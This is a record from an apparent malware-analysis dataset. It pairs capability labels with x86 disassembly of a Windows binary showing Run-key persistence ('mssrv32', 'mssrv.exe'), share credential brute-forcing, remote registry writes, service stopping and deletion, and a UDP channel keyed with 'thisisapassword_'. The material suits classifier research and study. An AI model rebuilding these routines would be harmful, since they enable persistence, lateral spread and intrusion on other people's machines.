joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401080
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push ebx
push esi
push edi
lea edi, [ebp - 3]
mov esi, section..rdata
mov ecx, 3
rep movsb byte es:[edi], byte [esi]
xor ebx, ebx
mov eax, ebx
movsx eax, al
add eax, 0x41
mov byte [ebp - 3], al
lea eax, [ebp - 3]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov dword [ebp + ebx*4 - 0x6c], eax
sub ebx, 0xffffffff
cmp ebx, 0x1a
jl 0x40109a
mov edi, dword [ebp + 8]
lea esi, [ebp - 0x6c]
mov ecx, 0x1a
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4010d0
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push esi
push edi
lea edi, [ebp - 0x1fe]
mov esi, 0x40c003
mov ecx, 0x3f
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xff]
mov esi, 0x40c102
mov ecx, 0x3f
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x214], 0xff
lea edi, [ebp - 0x208]
mov esi, 0x40c201
mov ecx, 2
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x209]
mov esi, 0x40c20b
mov ecx, 1
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x21c]
mov esi, 0x40c20c
mov ecx, 8
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x1fe]
push eax
lea edi, [ebp - 0x209]
push edi
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHELL32.dll_FindExecutableA]
cmp eax, 0x20
jbe 0x4011e4
lea eax, [ebp - 0x210]
push eax
push 1
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4011e4
lea edi, [ebp - 0x214]
push edi
lea edi, [ebp - 0xff]
push edi
push 0
push 0
lea edi, [ebp - 0x21c]
push edi
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4011e4
push 0xa
lea eax, [ebp - 0x1fe]
push eax
lea eax, [ebp - 0xff]
push eax
call fcn.00403730
add esp, 0xc
test eax, eax
jne 0x4011e4
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x4011f3
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401200
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
lea eax, [ebp - 4]
push esi
push edi
push eax
mov esi, 0x40c214
mov ecx, 0xb
push 2
lea eax, [ebp - 0x32]
lea edi, [ebp - 0x32]
push 0
push eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 8
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x3a]
push reloc.WS2_32.dll_bind
mov esi, 0x40c242
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401279
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x3a]
push 1
push 0
push eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x40126f
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x40127e
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401290
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push esi
push edi
lea edi, [ebp - 0x36]
mov esi, 0x40c24a
mov ecx, 0xb
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x3e]
mov esi, str.mssrv32
mov ecx, 8
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 4]
push eax
push reloc.WS2_32.dll_bind
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryA]
test eax, eax
jne 0x40131f
lea eax, [ebp - 8]
push eax
push 2
push 0
lea eax, [ebp - 0x36]
push eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401329
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
push 1
push 0
lea eax, [ebp - 0x3e]
push eax
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x401329
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x401338
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401340
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
call fcn.004010d0
cmp eax, 1
je 0x4013a4
push 0xff
lea eax, [ebp - 0xff]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.mssrv.exe
lea eax, [ebp - 0xff]
push eax
call fcn.00403780
sub esp, 0xfffffff8
lea eax, [ebp - 0xff]
push eax
mov eax, dword [ebp + 8]
push eax
call fcn.00401d90
sub esp, 0xfffffff8
test eax, eax
jne 0x4013a4
push 0xff
lea eax, [ebp - 0xff]
push eax
call fcn.00401200
add esp, 8
mov esp, ebp
pop ebp
ret
Function at 0x4013b0
Capabilities:
Connect network resource

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x39c
push ebx
push esi
push edi
xor ebx, ebx
lea edi, [ebp - 0x74]
mov esi, 0x40c280
mov ecx, 0x1d
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x39c], eax
lea edx, [ebp - 0x193]
mov esi, eax
push edx
sub edx, esi
mov al, byte [esi]
mov byte [edx + esi], al
add esi, 1
test al, al
jne 0x4013e1
pop edx
lea ecx, [ebp - 0x292]
mov eax, dword [ebp - 0x39c]
mov edx, eax
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
jne 0x4013ff
pop esi
lea eax, [ebp - 0x292]
push eax
call fcn.00401cf0
pop ecx
mov dword [ebp - 0x94], 2
mov dword [ebp - 0x90], 1
mov dword [ebp - 0x8c], 3
mov dword [ebp - 0x88], 1
mov dword [ebp - 0x84], 0
lea esi, [ebp - 0x193]
mov dword [ebp - 0x80], esi
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0
push 0
mov esi, dword [ebp + 0x10]
push esi
mov eax, dword [ebp + 0x14]
push eax
lea eax, [ebp - 0x94]
push eax
call sub.MPR.dll_WNetAddConnection2A
mov dword [ebp - 0x398], eax
jmp 0x401483
add ebx, 1
mov eax, dword [ebp + ebx*4 - 0x74]
test eax, eax
jne 0x401480
push ebx
push 0
call fcn.00401c90
add esp, 8
lea ecx, [ebp - 0x391]
mov edx, dword [ebp + eax*4 - 0x74]
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
jne 0x4014a3
pop esi
push 0x40c33c
mov eax, dword [ebp + 0xc]
push eax
call fcn.00403780
add esp, 8
lea edi, [ebp - 0x391]
push edi
mov eax, dword [ebp + 0xc]
push eax
call fcn.00403780
add esp, 8
mov ebx, dword [ebp + 0xc]
push ebx
mov eax, dword [ebp + 8]
push eax
call fcn.00401d90
add esp, 8
test eax, eax
jne 0x401511
lea esi, [ebp - 0x292]
push esi
push 4
mov eax, dword [ebp + 8]
push eax
call fcn.00401290
add esp, 0xc
push 1
push 1
lea eax, [ebp - 0x193]
push eax
call sub.MPR.dll_WNetCancelConnection2A
xor eax, eax
jmp 0x401526
push 1
push 1
lea eax, [ebp - 0x193]
push eax
call sub.MPR.dll_WNetCancelConnection2A
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401530
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
lea eax, [ebp - 0x104]
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x104], 0xff
push eax
lea eax, [ebp - 0xff]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov edx, 0x40c339
mov ecx, ebx
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
jne 0x401565
pop eax
lea eax, [ebp - 0xff]
push eax
push ebx
call fcn.00403780
add esp, 8
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401b90
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
xor ebx, ebx
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
call fcn.00401cb0
cmp eax, 4
jb 0x401c86
push 0
call fcn.00404760
pop ecx
push eax
call fcn.004047b0
pop ecx
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x4027b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x4026b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x402830
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.00402430
call fcn.00403680
mov ecx, 0x3e8
cdq
idiv ecx
lea eax, [edx + 1]
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0xc], 0xc
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
push str.mutex666
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov ebx, eax
or ebx, ebx
je 0x401c57
push ebx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x401c73
push str.mutex666
push 0
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov ebx, eax
test ebx, ebx
je 0x401c73
call fcn.00401a70
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x401c36
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x401d90
Capabilities:
Read file via mapping
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 8], 0
xor edi, edi
call fcn.00403680
and eax, 0x1fffff
lea edi, [eax + 0x400]
lea eax, [edi*4]
push eax
call fcn.00403dc0
pop ecx
mov ebx, eax
push 0
push 0
push 3
push 0
push 1
push bind
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10], eax
push 0
push 0
push 0
push 2
push 0
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0x14], eax
push 0
push 0
push 0
push 4
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x18], eax
mov dword [ebp - 8], eax
push 0
push pe_nt_image_headers32
push 2
push 0
push 1
push 0xc0000000
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
push 0
lea esi, [ebp - 0x1c]
push esi
push 0x14dfc
mov esi, dword [ebp - 8]
push esi
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x401e92
test ebx, ebx
je 0x401e92
xor esi, esi
jmp 0x401e67
call fcn.00403680
mov ecx, bind
cdq
idiv ecx
mov dword [ebx + esi*4], edx
add esi, 1
mov eax, esi
cmp eax, edi
jb 0x401e54
push 2
push 0
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x1c]
push eax
push edi
push ebx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0x20], eax
push ebx
call fcn.00404670
pop ecx
xor edi, edi
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0xc], 0
je 0x401ed3
cmp dword [ebp - 0x20], 0
je 0x401ed3
xor eax, eax
jmp 0x401ed8
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4020b0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
push 0x416f54
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4021c5
xor eax, eax
jmp 0x4021d6
test byte [0x416f54], 0x10
je 0x4021b3
mov ecx, 0x416f80
mov edx, 0x40c9e3
xor eax, eax
mov al, byte [edx]
mov ah, byte [ecx]
sub ah, al
jne 0x40210a
test al, al
je 0x40210f
add edx, 1
add ecx, 1
jmp 0x4020f6
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4021b3
mov ecx, 0x416f80
mov edx, 0x40c9e0
xor eax, eax
mov al, byte [edx]
mov ah, byte [ecx]
sub ah, al
jne 0x402137
test al, al
je 0x40213c
add edx, 1
add ecx, 1
jmp 0x402123
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4021b3
push 3
push ebx
call fcn.00401ee0
add esp, 8
lea ecx, [ebp - 0x400]
mov edx, eax
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
jne 0x402156
pop eax
push 0x416f80
lea eax, [ebp - 0x400]
push eax
call fcn.00403780
add esp, 8
push 0x416f80
lea eax, [ebp - 0x400]
push eax
call fcn.00401f60
add esp, 8
push str..
lea eax, [ebp - 0x400]
push eax
call fcn.00403780
add esp, 8
lea eax, [ebp - 0x400]
push eax
call fcn.004020b0
pop ecx
mov byte [ebp - 0x400], 0
push 0x416f54
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov esi, eax
test esi, esi
je 0x4021cd
test esi, esi
jne 0x4020dd
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402430
Capabilities:
Modify service
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 4], 0x64
xor ebx, ebx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push esi
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov dword [ebp - 8], eax
test esi, esi
je 0x4024bd
push 0
push str.Messenger
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
je 0x4024b6
push 0x40ca74
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 2
push 0xffffffffffffffff
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
test eax, eax
je 0x4024b6
jmp 0x4024ae
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
cmp ebx, 0xc8
jl 0x402499
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4024e0
Capabilities:
Delete service
Enumerate services
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 4], 0
xor ebx, ebx
mov dword [ebp - 0x108], 1
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
mov dword [ebp - 0x10c], 0
test edi, edi
je 0x40269c
lea esi, [ebp - 0x10c]
push esi
lea ebx, [ebp - 0x110]
push ebx
lea ebx, [ebp - 0x138]
push ebx
push 0x24
lea eax, [ebp - 0x134]
push eax
push 1
push 0x30
push edi
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
mov dword [ebp - 0x108], eax
test eax, eax
je 0x402568
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x40269c
mov eax, dword [ebp - 0x138]
push eax
call fcn.00403dc0
pop ecx
mov ebx, eax
test ebx, ebx
je 0x402693
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x402693
lea esi, [ebp - 0x10c]
push esi
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x138]
push eax
mov eax, dword [ebp - 0x138]
add eax, 0x24
push eax
push ebx
push 1
push 0x30
push edi
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
test eax, eax
je 0x402693
xor esi, esi
jmp 0x402685
lea ecx, [ebp - 0x103]
imul edx, esi, 0x24
mov eax, dword [ebx + edx]
push ecx
sub ecx, eax
mov dl, byte [eax]
mov byte [ecx + eax], dl
add eax, 1
test dl, dl
jne 0x4025d6
pop eax
lea edx, [ebp - 0x103]
or eax, 0xffffffff
add eax, 1
cmp byte [edx + eax], 0
jne 0x4025ec
push eax
lea eax, [ebp - 0x103]
push eax
call fcn.004023d0
add esp, 8
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x103]
push eax
call fcn.004047d0
add esp, 8
test eax, eax
je 0x402682
push 0x20
imul eax, esi, 0x24
mov eax, dword [ebx + eax]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
test eax, eax
je 0x402678
lea eax, [ebp - 0x154]
push eax
push 1
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x10000
imul eax, esi, 0x24
mov eax, dword [ebx + eax]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
add esi, 1
mov eax, esi
cmp eax, dword [ebp - 0x110]
jb 0x4025c7
push ebx
call fcn.00404670
pop ecx
xor ebx, ebx
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402a20
Capabilities:
Connect network resource

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
mov ebx, dword [ebp + 0x10]
mov byte [0x4159c8], 0x61
mov byte [0x4159c9], 0
mov dword [ebp - 0x24], 2
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
inc byte [0x4159c8]
cmp byte [0x4159c8], 0x7a
jle 0x402a8f
push 1
call fcn.00402ca0
pop ecx
push 0
mov edi, dword [ebp + 0xc]
push edi
push 0x4159c8
lea eax, [ebp - 0x24]
push eax
call sub.MPR.dll_WNetAddConnection2A
mov esi, eax
cmp esi, 0x4b8
jne 0x402abf
push 1
push 1
push 0
call sub.MPR.dll_WNetCancelConnection2A
mov eax, 2
jmp 0x402b18
test esi, esi
je 0x402ac8
cmp esi, 0x55
jne 0x402af8
xor edi, edi
jmp 0x402ad8
mov al, byte [edi + 0x4159c8]
mov byte [ebx + edi], al
add edi, 1
push 0x4159c8
call fcn.00404b00
pop ecx
mov edx, edi
cmp edx, eax
jbe 0x402acc
push 1
push 1
push 0
call sub.MPR.dll_WNetCancelConnection2A
xor eax, eax
jmp 0x402b18
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x3d09
jl 0x402a78
push 1
push 1
push 0
call sub.MPR.dll_WNetCancelConnection2A
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402b20
Capabilities:
Connect network resource

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
mov edi, dword [ebp + 0x10]
xor ebx, ebx
mov dword [ebp - 0x24], 2
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x14], 0
mov edx, dword [ebp + 8]
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
jmp 0x402bf1
push 0
mov esi, dword [ebp + 0xc]
push esi
mov esi, dword [ebx*4 + 0x413600]
push esi
lea eax, [ebp - 0x24]
push eax
call sub.MPR.dll_WNetAddConnection2A
mov dword [ebp - 4], eax
cmp eax, 0x4b8
jne 0x402ba0
push 1
push 1
push 0
call sub.MPR.dll_WNetCancelConnection2A
mov eax, 2
jmp 0x402c15
mov edx, dword [ebp - 4]
test edx, edx
je 0x402bac
cmp edx, 0x55
jne 0x402bee
xor esi, esi
jmp 0x402bc0
mov edx, dword [ebx*4 + 0x413600]
mov dl, byte [edx + esi]
mov byte [edi + esi], dl
add esi, 1
mov eax, esi
mov dword [ebp - 0x28], eax
mov edx, dword [ebx*4 + 0x413600]
or eax, 0xffffffff
add eax, 1
cmp byte [edx + eax], 0
jne 0x402bcf
mov edx, dword [ebp - 0x28]
cmp edx, eax
jbe 0x402bb0
push 1
push 1
push 0
call sub.MPR.dll_WNetCancelConnection2A
xor eax, eax
jmp 0x402c15
add ebx, 1
mov eax, dword [ebx*4 + 0x413600]
mov edx, 0x40d2f8
cmp eax, edx
jne 0x402b6a
push 1
push 1
push 0
call sub.MPR.dll_WNetCancelConnection2A
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402c20
Capabilities:
Connect network resource

Disassembly:
push esi
mov esi, esp
sub esp, 0x20
push ebp
push ebx
mov ebp, dword [esi + 8]
mov dword [esi - 0x20], 2
mov dword [esi - 0x1c], 1
mov dword [esi - 0x18], 3
mov dword [esi - 0x14], 1
mov dword [esi - 0x10], 0
mov dword [esi - 0xc], ebp
mov dword [esi - 8], 0
mov dword [esi - 4], 0
push 0
push 0
push 0
lea eax, [esi - 0x20]
push eax
call sub.MPR.dll_WNetAddConnection2A
mov ebx, eax
test ebx, ebx
jne 0x402c82
push 1
push 1
push ebp
call sub.MPR.dll_WNetCancelConnection2A
xor eax, eax
jmp 0x402c91
push 1
push 1
push ebp
call sub.MPR.dll_WNetCancelConnection2A
mov eax, 1
pop ebx
pop ebp
mov esp, esi
pop esi
ret

Function at 0x403130
Capabilities:
Create udp socket
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
lea edi, [ebp - 0x19]
mov esi, 0x41147c
mov ecx, 6
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 0x4034f0
push 0xf
call fcn.00404b60
add esp, 8
mov dword [ebp - 0x34], 0
call fcn.00403500
mov dword [ebp - 0x4c], eax
test eax, eax
je 0x403175
mov eax, 1
jmp 0x4032b3
push 0
push 2
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x34], eax
test eax, eax
jge 0x403192
mov eax, 2
jmp 0x4032b3
mov word [ebp - 0x44], 2
push 0
call dword [sym.imp.WS2_32.dll_htonl]
mov dword [ebp - 0x40], eax
movzx eax, word [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x42], ax
push 0x10
lea eax, [ebp - 0x44]
push eax
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.WS2_32.dll_bind]
mov dword [ebp - 0x48], eax
test eax, eax
jge 0x4031d3
mov eax, 3
jmp 0x4032b3
mov dword [0x4159d4], 0
mov edx, 0x417094
mov ecx, 0x28
xor eax, eax
push edi
mov edi, edx
rep stosb byte es:[edi], al
pop edi
mov eax, edx
lea edx, [ebp - 0x19]
mov ecx, 0x19
xor eax, eax
push edi
mov edi, edx
rep stosb byte es:[edi], al
pop edi
mov eax, edx
mov dword [ebp - 0x20], 0x10
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x30]
push eax
push 0
push 0x19
lea eax, [ebp - 0x19]
push eax
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.WS2_32.dll_recvfrom]
mov ebx, eax
mov eax, 0x417094
mov edi, eax
lea esi, [ebp - 0x19]
mov ecx, 6
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov eax, dword [0x4170b4]
push eax
push str.thisisapassword_
push 0x417094
call fcn.00403590
add esp, 0xc
mov eax, dword [0x4159ec]
push eax
push 0x417094
call fcn.00403550
add esp, 8
test eax, eax
jne 0x4031dd
mov eax, dword [0x4170b4]
push eax
push str.thisisapassword_
push 0x417094
call fcn.00403590
add esp, 0xc
lea edi, [ebp - 0x19]
mov esi, 0x417094
mov ecx, 0xa
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x20]
push eax
lea eax, [ebp - 0x30]
push eax
push 0
push 0x19
lea eax, [ebp - 0x19]
push eax
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.WS2_32.dll_sendto]
mov ebx, eax
jmp 0x4031dd
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret